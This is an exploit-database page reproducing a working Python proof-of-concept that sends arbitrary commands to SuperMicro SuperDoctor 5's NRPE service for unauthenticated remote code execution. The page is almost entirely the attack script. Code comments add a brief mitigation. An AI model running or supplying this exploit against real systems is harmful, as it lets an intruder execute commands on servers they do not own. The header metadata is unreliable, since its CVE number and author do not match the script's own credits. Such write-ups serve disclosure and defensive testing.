Advertisement






SuperDoctor5 NRPE Remote Code Execution

CVE Category Price Severity
CVE-2017-16995 CWE-78 Not disclosed High
Author Risk Exploitation Type Date
Andrea Micalizzi High Remote 2019-06-28
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019060167

Below is a copy:

SuperDoctor5 NRPE Remote Code Execution
# SuperMicro implemented a Remote Command Execution plugin in their implementation of 
# NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'.
# This is an intended feature but leaves the system open (by default) to unauthenticated
# remote command execution by abusing the 'executable' plugin with an NRPE client.
# 
# For your pleasure, here is a PoC Python NRPE Client that will connect, execute the 
# cmd of choice and return its output.
#
# To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed 
# to execute NRPE commands agaist the system and/or block traffic on port 5666.
#
# NRPE cannot be disabled in this software, see Guide section 3.2


#Author: Simon Gurney 
#Date: 23/05/2019
#Vendor: SuperMicro
#Product: SuperMicro Super Doctor 5
#Version: 5
#Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf



### Configurables

command = "ping 1.1.1.1 -n 1"
target = "1.2.3.4"
target_port = 5666

### Don't need to change anything below

import binascii
import struct
import socket
import ssl

#### Struct Encoding Types
StructCodeInt16 = "!h" ## Unsigned Int16
StructCodeInt32 = "!L" ## Unsigned Int32

#### NRPE Specific definitions
NRPE_Version = ("","One", "Two", "Three")
NRPE_Packet_Type = ("", "Query", "Response")
NRPE_Response = ("Ok", "Warning", "Critical", "Unknown")
NRPE_Version_1 = 1
NRPE_Version_2 = 2
NRPE_Version_3 = 3
NRPE_Packet_Type_Query = 1
NRPE_Packet_Type_Response = 2
NRPE_Response_Ok = 0
NRPE_Response_Warning = 1
NRPE_Response_Critical = 2
NRPE_Response_Unknown = 3
NRPE_Response_Type_Query = 3

#### RandomDefintions
NullByte = b"\x00"
TwoCharSuffix = "SG"

class NRPEpacket:
port = 5666
server = "127.0.0.1"
nrpeVersion = NRPE_Version_2
nrpePacketType = NRPE_Packet_Type_Query
nrpeResponseCode = NRPE_Response_Type_Query
ownSocket = None
def CalculateCRC(self):
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
tempBuffer += NullByte * 4
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
tempBuffer += self.content
return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff))
def PadTo1024Bytes(self,command):
if len(command) <= 1024:
tempBuffer = command
else:
Error("Command string is too long!")
while len(tempBuffer) < 1024:
tempBuffer += "\x00"
tempBuffer += TwoCharSuffix
return tempBuffer.encode()
def Connect(self):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.server,self.port))
def WrapSSL(self):
self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL")
def Send(self):
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
tempBuffer += self.crc
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
tempBuffer += self.content
self.socket.send(tempBuffer)
def Recv(self):
tempBuffer = self.socket.recv(2048)
self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0]
self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0]
self.crc = tempBuffer[4:8]
self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0]
self.content = tempBuffer[10:]
if self.crc != self.CalculateCRC():
print ("CRC does not match!")
def PrintOut(self):
print(" -=-=-=-= Begin NRPE Content =-=-=-=-")
print("| NRPE Version       =  %i  -  %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion]))
print("| NRPE Packet Type   =  %i  -  %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType]))
print("| NRPE Packet CRC    =  %i" % struct.unpack(StructCodeInt32,self.crc)[0])
print("| NRPE Response Code =  %i  -  %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode]))
print("| Packet Content:")
print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00"))
print(" -=-=-=-= End NRPE Content =-=-=-=-")
def Close(self):
if not self.ownSocket:
self.socket.close()
def AutoSend(self):
print("Sending...")
self.PrintOut()
self.Send()
print("Receiving...")
self.Recv()
self.PrintOut()
self.Close()
def __init__(self, command, socket=None, server=None, port = None, ssl=True):
self.content = self.PadTo1024Bytes(command)
self.crc = self.CalculateCRC()
if server:
self.server = server
if port:
self.port = port
if not socket:
self.Connect()
else:
self.socket = socket
self.ownSocket = True
if ssl == True:
self.WrapSSL()


#NRPE CMD format is "executable!<binary>!<arguments> i.e."
#NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend()

split = command.split(" ",1)
cmd = "executable!" + split[0] + "!" + split[1]
NRPEpacket(cmd, server=target, port=target_port).AutoSend()

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum